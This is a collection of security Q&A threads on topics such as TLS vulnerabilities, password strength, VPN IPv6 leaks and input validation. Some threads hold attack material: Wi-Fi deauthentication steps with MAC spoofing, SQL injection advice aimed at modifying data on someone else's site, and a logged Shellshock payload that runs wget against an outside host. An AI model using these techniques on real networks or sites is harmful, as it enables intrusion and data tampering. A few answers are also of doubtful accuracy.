SSL/TLS Vulnerabilities - Which are still relevant? There have been a large number of SSL/TLS vulnerabilities over the last several years. It is quite hard to find current information about which of these are still relevant and require practical mitigation at the server-side and which have been superseded by things like client-side updates.

Which of these issues is still a problem requiring mitigation at the server-side in 2016?

BEAST
BREACH
CRIME
DROWN
Logjam
POODLE
FREAK
Heartbleed
CCS Injection

For example per https://blog.qualys.com/ssllabs/2013/09/10/is-beast-still-a-threat it appears that BEAST no longer requires server side mitigation, as it has client-side mitigation.

I think all these flaws are fixed in the latest version of TLS. As the other answer says, you can be vulnerable to some of them depending on the versions your software allows. If you are concerned about this, you should search for each one to see in which version they have been fixed, and configure your server accordingly.


Tutorial for SecurityCritical SecurityTransparent and new .NET 4 feature: Level 2 I need a primer for both the legacy (Level 1) .NET 2.0 security attributes and the new .NET 4 (Level 2) ones.

I'm not familiar with the implications of controlling LinkDemand, stack walks, unverifiable code and other items in this Patern and Practices guide.

Where can I learn more about this?

Until someone can point you at a comprehensive resource, you may want to take a look at http://blogs.msdn.com/b/shawnfa.

For example, it has a article about marking your code transparent (http://blogs.msdn.com/b/shawnfa/archive/2005/09/09/462975.aspx).


Lock gmail access from a smartphone A friend has broken his smartphone. It has (at least) three security issues:

It is not protected by any PIN, password or fingerprint
It automaticaly access gmail (I'm not sure if he just rememberd the password in the browser or if in some way, gmail knows the object itself via some kind on token)
gmail contains tons of unencrypted passwords and ways to retreive almost every passwords.

In summary: My friend's privacy is open bar from that smartphone (and by the way also my privacy since I send him many emails).

Now it is broken. He is hesitating about making fix it in a shop: at the moment the smartphone is working, the reparator has access to everything.

Questions:

what to do to revoke the access to gmail from the smartphone when we don't have access to it ? (it is broken)
what other security issue do I have to fear from leaving that smartphone in unkonwn hand for a couple of days ?

The easiest thing to do, if you cannot use the phone, is to simply change the Gmail password and unlink the device from your Google account.

If you can use your phone, the easiest thing is to save everything on the phone and do a factory reset before handing to someone else.


Recommended level of password complexity for Keepass I want to start using a Keepass master password that I can easily remember.

Let's take this sentence: I really hate blue mountains, and let's make it one password: ireallyhatebluemountains.

Is this strong enough as a Keepass master password?

I hear that we should always include capitals, digits and special characters but if this really a requirement?

Let's first establish clearly what should be a common sense truth: A password manager master password is a very high value secret. (This is irrespective of which password manager you are using.)

This is for a rather simple, fundamental reason: this one password, together with the encrypted password database that it protects, essentially allows full access to every account for which you have credentials stored within that database.

Thus, you should ensure that this password has a corresponding level of security. Traditionally, this has led to the use of weird password schemes which have tried to combine the goals of making passwords memorable as well as making them secure. With today's computing resources, that's just not a practically achievable goal with a simple password any longer.

Instead, I like to recommend Diceware style passphrases. (Diceware is similar to the scheme described in XKCD 936, but more explicit on how to gather the randomness. Also, in Diceware, if the generated sequence of words makes sense linguistically, you are actually supposed to start over.) In proper Diceware, you use a random physical process (throwing physical dice) to gather randomness, then convert that randomness into words by looking up the numbers in a list of words. In the specific case of Diceware, you use five throws of ordinary six-sided dice to generate about 12.9 bits (log2(6^5) = log(6^5) / log(2) ~ 12.92481... bits) of randomness per word. While for reasons of physics regular play dice tend to not be perfectly fair (produce every value with equal probability), if this is a concern to you then it is possible to buy "casino dice" that are perfectly fair; however, the error is likely small enough that a single extra word accounts for any reasonable reduction in dice fairness, and you can easily test your own particular dice by making a reasonable number of throws and noting how many times each value comes up (which with perfectly fair dice and a large number of throws should be 1/6 the number of throws, because the dice is six-sided).

Since we normally assume that an adversary knows how you generated your password or passphrase but not the exact input or end result, this means that the adversary knows that you generated it using the Diceware method and dictionary. They might very well even know the length of your password.

Given those assumptions, we can actually directly calculate how difficult a Diceware passphrase is to guess: For a properly generated Diceware passphrase, each word corresponds to something very close to 12.9 bits of security. For a reasonably well generated passphrase using ordinary play dice, this is probably a little less simply because all values are not equally probable.

For a high-value password where an offline attack is a feasible mode of attack, such as that to a password manager, I'd probably want at least 90-100 bits worth of security. 100 bits worth of security using Diceware needs eight words. (100 / 12.9 ~ 7.752, and round upwards.) Since the average Diceware word is about 4.2 characters, and you need a separator (conventionally a space) between them, this means a passphrase giving you about 100 bits of security becomes approximately 41 characters long. (8 x 4.2 characters, plus 7 separator characters, is 40.6.)

For comparison, this is less than twice the length of your example ireallyhatebluemountains (which clocks in at 24 characters) but, as also illustrated by the other answers, is far more secure in practice and not much more difficult to remember. Your example password would essentially need to be generated completely randomly for it to have similar security (100 / log2(26) ~ 21.3 characters to get to about 100 bits: log2(26^21.3) ~ 100.12).


Unassociated MACs in airodump-ng display What are the extra MACs in airodump display that are not real associated adapters? What are they for?  There are only 4 things connected to this router - (verified by viewing router dhcp list)  but there are over 15 MACs displayed by airodump-ng.  I see the actual MACs have higher ACK times.

not sure how public we are trying to make the solutions, but figure this will be a buried question soon anyway once answered....but i greatly appreciate the help given and found and would like to return favor only way i know.

try change attacker MAC to same as victim router MAC then begin attack
https://security.stackexchange.com/a/72538 (related to problems w/deauth)
    (1)So do this:

    Disable mon0.
    Shut down wireless interface ifconfig wlan0 down (or whatever your interface is called).
    (my step) run: airmon-ng check -> kill NetworkManager PID (networkmanager fucks up hw ether mac change)
Set the attacker's MAC to your routers: ifconfig wlan0 hw ether TARGET_MAC.
    (this is where u do the monitor mode method)Reactivate interface, create new mon0 and do your deauth attack. It should work now. (Also make sure replay the deauth packet 3-4 times as for some reason sometimes a single death just won't work.)

(3)try When you enter monitor mode you can specify a channel like this: "airmon-ng start wlan0 x" where x is the channel number

(2)try alternative monitor mode method: https://security.stackexchange.com/a/135841

 ifconfig wlan0 down
 sudo iwconfig wlan0 mode monitor
 sudo ifconfig wlan0 up

This is can cause SIOCSIFHWADDR: Invalid argument error

 iwconfig wlan0 mode managed (to undo monitor mode & fix error)


AWS Signature V4 vs OAuth + JWT bearer tokens For securing REST APIs, a logical choice for access control is JWT either by itself or in combination with OAuth.  If I only care about authenticating the caller, verifying a JWT signature is sufficient by itself.  If I also care about authorization, I would also use OAuth, or some kind of token service.  Either way I am including a header like Authorization: Bearer [JWT token] in the HTTP request.

AWS has its own standard for API access control where you sign parts of the request itself and include a header like
Authorization: AWS4-HMAC-SHA256 ....

My questions:

is the AWS approach more secure against replay attacks?  I think yes, because even if you have a short token expiration, it's still hypothetically possible to reuse a bearer token on a different request.  The signature means the request hasn't been tampered with.
if it is more secure, should it be considered an industry standard like OAuth and JWT?   To what extent do standard app frameworks provide support on the validation side?  etc.

is the AWS approach more secure against replay attacks? I think yes, because even if you have a short token expiration, it's still hypothetically possible to reuse a bearer token on a different request. The signature means the request hasn't been tampered with.

Yes, it is more secure against replay attacks. As you suggested Bearer tokens can be used with any request (not just theoretically). They are completely independent of the request they authorize. AWS signatures, on the other hand, are "bound" to the request they are attached to. The request signed also contains a timestamp that is checked by AWS to make sure it is within a certain window. The request can only be replayed in this window.

Just as you said, the signature ensures the integrity of the request. Integrity is also provided by HTTPS. The AWS scheme maintains integrity even if HTTPS is taken away.

  if it is more secure, should it be considered an industry standard like OAuth and JWT? To what extent do standard app frameworks provide support on the validation side? etc.

It does give you more security properties. There are some other HTTP signature schemes that try to replicate what AWS does. Here is a draft. Joyent also created their own scheme. There is also a library called Escher, which completely replicates the AWS scheme. It is also compatible with it and includes the validation side as well.

DISCLAIMER: I work for the company who developed Escher. We use it in production to connect lots of services.


Securing client-side data from users So my problem, in its general form, is encrypting test questions such that a client-side testing application can access the questions while students cannot. The naive approach, in my opinion, is to use a symmetric key algorithm, with the key hard-coded within the application, to encrypt and decrypt the questions. The problem of course being that any student with some security savvy could recover the key.

Assuming that a server-based approach is not viable (no internet connectivity), is there a way to secure questions in this scenario such that the application can decrypt them, students cannot, and the key is not stored within the application? I suspect I know the answer, but I would like to hear from those more knowledgeable than myself.

No, you cannot secure data completely if the user has total control of the system and its hardware (and possibly a lot of money; attacking hardware can get quite expensive).

If this is just to prevent cheating, hardcoding the encryption key in an obfuscated manner (so that strings doesn't find it) should be enough though (any student breaking that probably deserves a good grade anyways).

If you are handing out the hardware along with the software (how else would you pass it to the students without internet?) you could go with the approach suggested by raz: encrypt the data with a key based on the computers hardware (eg by adding a PUF to the hardware; but again, access to the hardware means that this can be broken).

You could also look into trusted computing, which tries to achieve what you want (but still, complete access to the hardware means that it can be bypassed with enough money and time).


Transfer Client Certificate What, if anything, could or would be embedded into a client-side certificate that would prevent it from "working" when transferred to a new client machine on a new network?

Being unfamiliar with the kind of information that is embedded into a client certificate, I don't know if - for example - the certificate will only validate if it is found on a machine whose NIC is on a particular IP subnet.

I need to copy a client certificate, and get it up and running on a Windows 7 box, and I just want to know what kinds of issues or "gotchas" I may run into.

X.509 is wide and versatile and, in theory, anything goes.

In practice, I assume that you are talking about a SSL/TLS situation, probably as part of a HTTPS web site. The server sends his certificate (that the client validates), and then, the server asks the client to also show a certificate, which the server will validate.

In that situation, there cannot be much client-specific data that the server may validate. The important point is that validation of the client certificate happens on the server (necessarily: the certificate from the client is about convincing the server). So, if the server wants to validate some client-specific data (e.g. IP address) then the server must have access to an apparent client IP address, and see if that matches what would be written in the certificate. However, in the HTTPS ecosystem, NAT and proxies happen. Therefore, the client "true" IP address cannot be reliably obtained by the server (e.g. my true IP address is 10.0.1.101, but that's not what an HTTPS server would see, because I am behind both a NAT and a SOCKS proxy). So there is nothing for the server to validate.

In existing, deployed systems, SSL/TLS servers do not commonly validate client certificates with regards to client-specific information. I have never seen it. Instead, the server validates the certificate in abstracto (the whole signature-by-CA business, up to a root CA), regardless the apparent provenance of the incoming connection. And if the certificate validates, then the user identity is extracted from the certificate (using a server-specific method, but IIS will tend to look at the Subject Alt Name extension and extract the 'UPN', to match against what is in his Active Directory server) and the server is content with that.

Actually that's quite similar to what happens in the other direction: validation of the server certificate by the client. The client wants to make sure that it talks to the right server, so it verifies that the server's name is indeed present in the certificate. The server's IP address, on the other hand, is not in the server's certificate; it was resolved through the DNS. From the point of view of the SSL client, as far as security is concerned, how the data flows is irrelevant; it could go to any IP address or be transmitted on an IP-less serial link or be transported on the back of camels.

Short answer: your client certificate is (probably) not bound to a specific machine, if only because enforcing such a binding would be, at best, difficult. You can transfer it from one machine to another (as long as you transfer the certificate with its private key, of course).


Can JavaScript be used to capture the user's screen? Can JavaScript be used to capture the user’s screen? If so, is this functionality available in any JS framework?

(I do not need code examples: I am mainly asking to form an opinion about the security capabilities of JavaScript.)

JavaScript has full access to the document object model, so at least in theory, it could capture what's on its own web page (but not anything outside the browser window) and there's a library to do that: http://html2canvas.hertzen.com/  (I haven't tried it.)

The same-origin policy prevents JavaScript from accessing the DOM of another site. Since JavaScript cannot access the DOM of another site, it cannot leak material from the other site.  So, if your question boils down to whether a script running in one tab, or even an iframe, can capture the banking password from elsewhere in the browser, then no, provided same-origin is properly implemented in the browser itself.

Same origin applies to domain from which the page was served, not from which the script was served.  So, my page at hxxp://bbrown.spsu.edu/ (it wasn't interesting, and now it's dead because I've retired) can load a script from google-analytics.com, as it does, and that script has access to the DOM of the page from which it was loaded; it can also send stuff back to Google through a bit of sleight-of-hand.  The point is, it can do that only because I trusted Google Analytics enough to load their script in my page; the code that loads the page is in markup I wrote.  If you load my page into your browser, that script from google-analytics.com can see only the DOM of my page in your browser, and not anything else you may have open in your browser.


Strange escape codes in a GET request - is this a known attack? I recently came across some entries in nginx's access logs that resemble the following:

##.##.##.## - - [24/Sep/2014:01:21:51 -0400] "GET /767/browser-wars-side-show-ho
w-natty-handles-the-load/+++++++++[+%C0%EA%F2%E8%E2%E0%F6%E8%FF+]+Result:+%E8%F1
%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22azazalolxd%22;+%E2%EE%F8%EB
%E8;+%ED%E5+%ED%E0%F8%EB%EE%F1%FC+%F4%EE%F0%EC%FB+%E4%EB%FF+%EE%F2%EF%F0%E0%E2%E
A%E8; HTTP/1.0" 400 0 "http://2buntu.com/767/browser-wars-side-show-how-natty-ha
ndles-the-load/+++++++++[+%C0%EA%F2%E8%E2%E0%F6%E8%FF+]+Result:+%E8%F1%EF%EE%EB%
FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22azazalolxd%22;+%E2%EE%F8%EB%E8;+%ED%E
5+%ED%E0%F8%EB%EE%F1%FC+%F4%EE%F0%EC%FB+%E4%EB%FF+%EE%F2%EF%F0%E0%E2%EA%E8;" "Mo
zilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/
35.0.1916.153 YaBrowser/14.7.1916.15705 Safari/537.36"

There were about 10 of these requests within a span of about a minute. I noticed that the requests came from many different IP addresses, though the user-agent was identical.

Is this an attempt to exploit a known vulnerability? Nginx seems to be suspicious and returns an HTTP 400 response. One thing I noticed within the requested path is the string:

  "azazalolxd"

That's pretty suspicious for a "random" sequence of characters.

Should I be concerned? The requests seem to have stopped for the time being.

Edit: I decided to try unescaping some of the entities and came up with the following:

%C0%EA%F2%E8%E2%E0%F6%E8%FF = Àêòèâàöèÿ
%E8%F1%EF%EE%EB%FC%E7%EE%E2%E0%ED+%ED%E8%EA%ED%E5%E9%EC+%22 = èñïîëüçîâàí
...

They seem to all be Latin-1 extended characters. Is this some form of Unicode attack?

The url encodes a Windows Codepage 1251 encoded string, containing (harmless) russian error messages. The transcoded url is:

/767/browser-wars-side-show-how-natty-handles-the-load/+++++++++[+Активация+]+Result: использован никнейм "azazalolxd"; вошли; не нашлось формы для отправки;

Google translator gives:

[ activation ] Result: used the nickname "azazalolxd"; included; can not find the form to send;

Its consistent with the usage of the russian Yandex browser that has this useragent.
Also see this question.


My ISP provides IPv6 natively but my VPN does not support IPv6 I have an internet connection that is soon rolling out IPv6 native support but my VPN connection is far from rolling out IPv6 connection.

Can there can be any sort of leak if I still connect to my VPN while my ISP gives me an IPv6 address.

Moreover, how are the packets encapsulated in IPv6 packets in such cases?

Your full setup is not known so I have to make some assumptions based on a typical setup:

Your local computer has both an IPv4 and IPv6 address in the local network.
Your router has both a public IPv4 and IPv6 address.
Routes on your local computer are setup so that both internet facing IPv4 and IPv6 traffic is going through the router.
Your local computer is the start point of the VPN connection.
The IPv4 only VPN software is not aware of the IPv6 capabilities of your computer, i.e. does not deal with them in a specific way. This is typical for OpenVPN installations.

In this setup the typically a new route (or multiple routes) for IPv4 traffic will be setup and will point to the VPN so that all IPv4 traffic will be send through the VPN. Since IPv6 traffic will not be specifically handled the existing IPv6 route will remain, i.e. IPv6 traffic will still flow outside the VPN. You can verify with sites like test-ipv6.com which IP addresses are visible from outside.

Of course, this is only true under the above assumption. It might well be that the VPN will simply disable all IPv6 on your host so that leakage using IPv6 is not possible. But, IPv6 leakage is a common problem with VPN setups.


Securing dropdown boxes I have been creating selection boxes for years, yet I never knew you could modified it with firebug and submit them with nonpermitted values, of course this wouldn't happened if the code was secured.

Here is an example:

<select name="type">
<option value="1">Business</option>

I can open up firebug (firefox addon), and change the value to somethings else, for simpleness:

 <option value="200000000">Business</option>

And when submited the database enters the value 200000000. This is just a simple example, which can give the basic idea of what it can be done by someone trying to exploit the website.

Codeigniter provides form validation, but does not check for the value of the selection box, which is what is being inputed to the database.

How could I prevent a non-allowed parameter from being inputed in the selection box?

It is very important for you to understand that ANY input from the users has to be sanitized in one way or another, or you are potentialy opening up for security holes.
Any input could mean dropdown boxes or other data you would think is static. Examples of this is simply anything returned from the user like for example:

Radio buttons
Dropdown boxes
Data coming from plugins like flash, silverlight and so on.
Simply anything that is sent to the client!

To better illustrate this I encourage you to download a simple proxy which will enable you to show all the data being sent to your server when submit a form. An example POST request is shown here:

POST /api/rest HTTP/1.1
Host: api.example.com
User-agent: Googlebot/2.1 (+http://www.google.com/bot.html)
Referer: example.com/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: length
Cookie: username=karrax&password=855425718dfe4a50f6f0bbb9335d3c3b&userid=591

dropdownBox=string&staticTextField=string&hiddenElement=string

Anything that you have to rely on in your business logic coming from the client side has to be cleaned.

Remember that this goes for anything coming from the client side. IT CANNOT BE TRUSTED! ... Even if it is simply a string being returned to the client (e.g. a username) it should be cleaned so that it is not vulnerable for cross site scripting and other attack vectors.

Edit: As @Avid pointed out in the comments it is also imperative to know that data passed through cookies is also sent from the client side, making them vulnerable to tampering. This also applies for any other field in the headers (or anything coming from the client) like the user-agent or referrer field to name a few.

In the example above the HTTP request may foil some security systems if they rely on the referrer field to for example authorize the user. The example also makes it appear that it is the Google bot which may in some circumstances provide different content on the page you are requesting (source).


Exactly how secure is VM browsing? I generally do all of my web browsing in a VM. I have one "safe" VM running Ubuntu that has guest services installed. I generally only go to sites I deem are trustworthy here.

I also have an "unsafe" VM with Ubuntu that does not have the guest services installed.

Tonight I was using the unsafe VM to browse some less than savory areas of the internet when one of the annoying FBI popups occured. No big deal...and then I see Norton from my host machine pop up with a blocked action on C:\Windows\SysWOW64\vmnat.exe. The alert name was "Web Attack: Ransomlock Website 7" and it came from the fake fbi website in the popup. This may not be important...but as an FYI I was using Chrome to surf.

I don't fully understand the VMware NAT system, but does this sound like malware could have leaked from the VM onto my host, or does Norton have insight into what vmnat.exe may have been calling and sending back to the VM.

I mainly just want to make sure my host is "safe", but I am also curious as to how this works.

vmnat.exe is VMware's virtual networking service: all network data going to or from a guest OS using NAT networking passes through it.

Norton can't see inside your VM.  Instead, when a program inside the VM does something, Norton sees the virtualization software performing that action.  In this case, when your virtualized browser tried to download the "Ransomlock Website 7" malware, Norton saw vmnat.exe downloading it, but didn't see that the data would then be handed off to a virtualized OS that couldn't be harmed by it, so it blocked the download.

Yes, it's possible for an attack to break out of a virtual machine, but it's very, very rare.


Generate cryptographically safe int How can you generate a cryptographically safe integer that falls within a range in C#? I am trying to satisfy a Veracode issue reporting CWE-331: Insufficient Entropy. Obviously the code below is not cryptographically secure.

Random rand = new Random();
return rand.Next(999999);

I generally use the RNGCryptoServiceProvider class to generate cryptographically safe data, but not sure how to safely convert that to a number in a range.

Some posts state that you can use the modulo operator, but others report that it skews the distribution of random results.

Is the code below cryptographically safe?

byte[] data = new byte[8];
ulong value;
do
{
    rng.GetBytes(data);
    value = BitConverter.ToUInt64(data, 0);
} while(value==0);
result = (int)(value%15+1);

When you create random numbers, you need to ask yourself what those random numbers are for.

For example, if you wrote a first person shooter and wanted to generate some random bullet spread, then the randomness doesn't need to be of high entropy or uniformly distributed, as long as it's "good enough" for the game.

On the other hand, if you were to write code that serves some kind of cryptographic purpose, then the random numbers you use have to fulfill certain properties, depending on their exact purpose. Back in 2008, the Debian team had a huge bug in their OpenSSL package, causing the quality of the random numbers to decrease significantly. Ironically enough, this was all due to a code quality tool complaining.

What is a nonce?

You mentioned that you intend to use your random numbers as a nonce. It really depends on the exact purpose of the nonce, but a nonce should fulfill two properties:

It should only be used once, hence the name "nonce".
It should be impossible to predict.

The second property is really what your code is all about.

Why is System.Random not okay?

The System.Random class was designed to provide random-looking numbers quickly. These numbers are really not "high quality", and designed for something like a game, as I showed before.

An attacker, who is able to read enough random numbers generated by your system may be able to predict future numbers generated by the system. This may not be a problem in a game, but is very likely a problem if you look at your crypto code and imagine the attacker knowing all the nonces.

What to use instead?

The MSDN page for System.Random recommends using System.Security.Cryptography.RNGCryptoServiceProvider. As the name implies, it's designed to be used for cryptographic applications. Be aware if you are already using a third party crypto library, they may provide their own interface for generating secure random numbers, which may be more user-friendly and less prone to implementation errors.

Usually, when developers generate random numbers, they want them in a specific range, such as "Between 0 and 9999". This gives way to biasing errors, which, due to the way the modulo operator works, makes some values more likely than others.

But since all you care is unpredictability, you can make your life easy and generate a nonce in an easy-to-use size, which means just generating it byte-wise.

For example, the following code generates a nonce of the desired length:

private static RNGCryptoServiceProvider rngCsp = new RNGCryptoServiceProvider();

public static byte[] GenerateNonce(uint nonceLength)
{
    byte[] nonce = new byte[nonceLength];

    rngCsp.GetBytes(nonce);

    return nonce;
}

Why is this code simpler than the others? Because the code you provided is designed to deal with the case I mentioned above, where biasing can be a problem. Since you can generate "nice" values, you will never have biasing issues and your code becomes much easier.

Is this nonce really secure? How long does it need to be?

Yes. Well, almost. An attacker can still guess the nonce and has a small chance of guessing it right. But it's the same as thinking of a number between 0 and 2^128-1 and not telling you what it is. You can still guess, but your chances of guessing it correctly are...small. Very small.

In fact, they become smaller the larger the nonce becomes. How long should a nonce be to make guessing infeasible? The general answer is it should have at least 80 bits of entropy, so 10 bytes at minimum. If you feel like you can deal with the overhead, you can go ahead and use 16 bytes (128 bits) and you should be good to go.


How does Google's "No Captcha reCaptcha" work? Google has released a new form of captcha identification of bots, that asks the user to click a single checkbox. It uses image-based verification only if necessary.

Could someone please explain to me as to how such a program differentiates a human from a bot?

There is a program here that can perform mouse clicks on your computer. It can not be detected by a web-based program with no access to your program files. It should be possible to write an undetectable Windows executable that can tick the check box. One could also randomize the response time of the program.

After a few (successful) attempts, the captcha will ask for image verification. Maybe that can be solved by an AI that searches the images using Google Image Search (by image), and makes guesses based on the filenames of 'visually similar' images. If the images used are not from the net, then they would be limited in number, and one could create a database of them.

Could someone clarify whether these approaches could actually work?

This isn't really a great question for stackexchange as Google is keeping its algorithms secret so all we can really do is make guesses about how it works, but my understanding is that the new system will analyze your activity across all of Google's services (and possibly other sites that Google has some control over, such as websites that have Google ads).

Thus, it is likely that the checks are not limited to  just the page that has the checkbox on it. For example, if they detect that your computer/IP address you are using was also used in the past to do things that a normal human would do - things like checking Gmail, searching on Google search, uploading files to Drive, sharing photos, browsing the web etc. - then it can probably be reasonably sure that you are a human and allow you to skip the image verification. On the other hand, if it can't associate your computer with any previous human-like activity, then it would be more suspicious and give you the image verification. Though the mouse behavior as it clicks the checkbox may be one factor it analyzes, there is almost certainly a lot more to it.

Again, we don't know for sure how it works. This is just my best guess based on what little Google has said:

  While the new reCAPTCHA API may sound simple, there is a high degree
  of sophistication behind that modest checkbox. CAPTCHAs have long
  relied on the inability of robots to solve distorted text. However,
  our research recently showed that today’s Artificial Intelligence
  technology can solve even the most difficult variant of distorted text
  at 99.8% accuracy. Thus distorted text, on its own, is no longer a
  dependable test.

  To counter this, last year we developed an Advanced Risk Analysis
  backend for reCAPTCHA that actively considers a user’s entire
  engagement with the CAPTCHA—before, during, and after—to determine
  whether that user is a human. This enables us to rely less on typing
  distorted text and, in turn, offer a better experience for users.  We
  talked about this in our Valentine’s Day post earlier this year.

To me the point about "before, during, and after use" is a strong hint that they analyze previous browsing behavior, but my interpretation could be wrong.

Here's a quote from WIRED:

  Instead of depending upon the traditional distorted word test,
  Google’s “reCaptcha” examines cues every user unwittingly provides: IP
  addresses and cookies provide evidence that the user is the same
  friendly human Google remembers from elsewhere on the Web. And Shet
  says even the tiny movements a user’s mouse makes as it hovers and
  approaches a checkbox can help reveal an automated bot.

There is another thread on stackoverflow discussing this as well: https://stackoverflow.com/questions/27286232/how-does-new-google-recaptcha-work

As for image verification, you're not going to be able to find those images with reverse image search, or compile a database of them. They are usually random street signs or house numbers captured by Google's Street View cars, or words from books that were scanned for the Google Books project. There is a good purpose behind this - Google actually makes use of what people type into reCaptcha to improve their own databases and train OCR algorithms. reCaptcha gives the same image to a number of users, and if they all agree on what it says, then the picture becomes training data for Google's AI.

From wikipedia:

  The reCAPTCHA service supplies subscribing websites with images of
  words that optical character recognition (OCR) software has been
  unable to read. The subscribing websites (whose purposes are generally
  unrelated to the book digitization project) present these images for
  humans to decipher as CAPTCHA words, as part of their normal
  validation procedures. They then return the results to the reCAPTCHA
  service, which sends the results to the digitization projects.

  reCAPTCHA has worked on digitizing the archives of The New York Times
  and books from Google Books.[3] As of 2012, thirty years of The New
  York Times had been digitized and the project planned to have
  completed the remaining years by the end of 2013. The now completed
  archive of The New York Times can be searched from the New York Times
  Article Archive, where more than 13 million articles in total have
  been archived, dating from 1851 to the present day.


MySQL SQL injection without stacked queries - what is actually possible without affecting the FS? I am exploring a vulnerability in one PHP website that is basically riddled with SQL injections. With SQLMap, I managed to dump all the tables and get some basic information (username, DB name, hostname, though the it seems pretty useless because the DB server is not externally available). My goal is to modify data in a specific table, not mentioned in any injectable SQL queries. I tried SQLmap's --db-shell switch, but I found out I cannot do anything beyond SELECT because PHP+MySQL combination disallows stacked queries.

Thus my question. Given one of the following snippets:

mysql_query("SELECT * FROM sometable WHERE id=".$_GET['id']);
mysql_query("INSERT INTO sometable (id) VALUES (".$_GET['id'].")");
mysql_query("UPDATE sometable SET id= ".$_GET['id']);
mysql_query("DELETE FROM sometable WHERE id=".$_GET['id']);

Can I modify (delete, insert, update) data from outside of sometable, without LOADFILE/INTO OUTFILE (and similar) tricks? Would MySQL syntax let me do it in this case? If the answer is "depends", how would the query syntax look like to let me through? I am not a DBA on this host. There are also no stored procedures on the website, just some very basic, amateur stuff that you could learn from a single book that doesn't even mention security.

First off: I'm not sure i understood your query, but I'm assuming you meant:
How can I affect data outside (the table these queries are about) ?

The most obvious attack would've been inserting multiple queries i.e.
";delete from other_table" but in this case it looks like you can't do that.
    mysql_query() sends a unique query (multiple queries are not supported)

Which means you're stuck with side-effects - doing things within the original query.  It looks like at the very least you can be disruptive with locks:
http://dev.mysql.com/doc/refman/5.0/en/innodb-locking-reads.html
in particular, you should be able to make the select's a 'select ... for update';

I can't yet see another way to affect the specific queries you've got.


What is 0xXXXXXXXX.asc.sig and how can I generate this? When I am exchanging PGP keys with someone, I receive the regular 0xXXXXXXXX.asc file and regularly receive a file called 0xXXXXXXXX.asc.sig.

What is this file?
How can I generate one and send it with my .asc file?

Thanks.

The .sig file is a detached signature. You use your key to sign a file to certify its authenticity. If the file is changed in any way, the verification process will fail and the party that received the file will know that it has been tampered with after you sent it out.

I believe the .asc.sig you received is a certificate of that guy's public key certifying its authenticity.

You can append the signature to the file itself or have it in a separate file. In this case, instead of appending the signature to the file, the signature is in a standalone file.

To sign it: gpg -a --output doc.asc.sig --detach-sig doc

-a is to create an ascii armored output
doc.asc.sig is the filename you want for the signature
doc is the filename you wish to sign


How does Internet Explorer know what text files I have viewed? I am using Windows 8.1 and Internet Explorer 11. Each time I use File Explorer to view a .txt file the history of Internet Explorer shows that I viewed that file in pages visited on this PC.

Is this a known feature?
How can Internet Explorer know my file browsing history?

Internet Explorer is tied directly to the Windows operating system.  It is essentially an extension of normal File window.  Many of the operations performed by Internet Explorer call directly into Windows services.

For example, the SSL/TLS implementation for Internet Explorer is performed in the LSASS (Local Security Authority Subsystem Service).  So any time you visit a secure website all of the operations are actually performed by a Windows service.

Since Internet Explorer was initially tied into/based off of File Explorer it is able to see your file history.  I believe this is an intended feature.  Microsoft thought it would be cool to be able to browse your file system from your browser.


How do virtual trusted platform modules protect data? From what I've read so far, vTPMs are able to securely store data on disk images. The disk images are encrypted and its keys are stored by the vTPM Manager. vTPM Manager also securely stores data on a disk image. However, I'm having difficulty figuring out how the vTPM Manager protects its data. Does it also encrypt its data? If so, where is the decryption key located and how does it protect against someone trying to steal its secrets? Any ideas are appreciated.

Ref: http://xenbits.xen.org/docs/4.5-testing/misc/vtpm.txt

That document appears to state that the data is sent through a virtual OS that acts as a virtual processor for the cryptographic data. There's a physical TPM installed on the device to which the OS acts as a front-end, using a virtual hardware driver for communication. The software acts as a middle-man for the communication, most likely for accessing the TPM more securely by bridging it and the host with the Mini-os using software encryption. The key difference (pun intended) between the vTPM and the physcial TPM is that the keys and NVRAM are stored in the presumably TPM encrypted disk image which is to be made by the user. It says any empty image will do, of around 2MB. It's a mirror of the hardware device that uses the main module for resources, and stores data in its own reservoir.

Cracking it may be difficult. If the key is stored in the hardware TPM, then you're not gonna have much luck getting at it. It's probably far from being brute-forced, so that's out. Some encryption methods have security issues, but most credible programs use AES. While the cryptographic data is in-use, it might be possible to get it from RAM (the problem with almost every software based method). However, if it's very well integrated, it may all be secured. There's not much data in that document save for installation instructions and the topography.


How safe is using personal Gmail and Google Account at work? Two closely related questions:

1) My boss said it's ok for us to go on our personal email during our breaks. If I do this, can the company steal any information beyond what is viewable on the screen? Does this mean as long as I don't send or view any private/confidential emails this should be ok? Since Gmail uses an encrypted connection, does this mean someone monitoring the network can get my password?

2) The computers at work reset all the settings on each log out. I found it hugely beneficial to login to Chrome with my Gmail Account. This is so tabs, bookmarks and history are saved. What security precautions should I follow considering someone else could potentially use the same computer (though not logged into my Window's account)? Should I log out of Chrome after each use or should I change some settings to not sync specific things?

I have 2 factor authentication enabled.

You can monitor anything in a network you control. So that means private webmail can be monitored by your employer.

Legally (us) they are allowed to do so when using company equipment or resources.

Monitoring is usually done on traffic, so all info on every page you load is susceptible to interception.
This does require specific software and quite a lot of time, so is only done by larger companies, or in case where a specific employee is suspect.

So Stay on the safe side and don't use private mail if you have a reason to believe your employer is interested in you in ways you don't like. Use your phone (not via WiFi).


Error message in Apache logs shows /bin/bash and wget I am wondering if my server is compromised or not I just looked at my log and seen the following line in there

[Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client 207.141.124.18:59142] AH01276: Cannot serve directory /var/www/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive, referer: () { :;}; /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

It is worrying my because I see /bin/bash -c "wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37332e33362e3134302e313938"

I am not sure if they were able to execute that command successfully or not. I realize it is an error but I just want to make sure.

So it looks like someone is trying to use the shellshock vulnerability which was recently discovered in the bash shell. The key give-away is the part of the log which reads:

referer: () { :;}; /bin/bash

What the attacker (or unknowing participant) has done is to set their web browser's http referer header to everything you see after the word "referer" in your log. If your server is vulnerable then the () { :;}; will cause everything following it to be executed. This could occur if a CGI script is run on a machine with an unpatched version of bash, and where that script uses the referer variable.


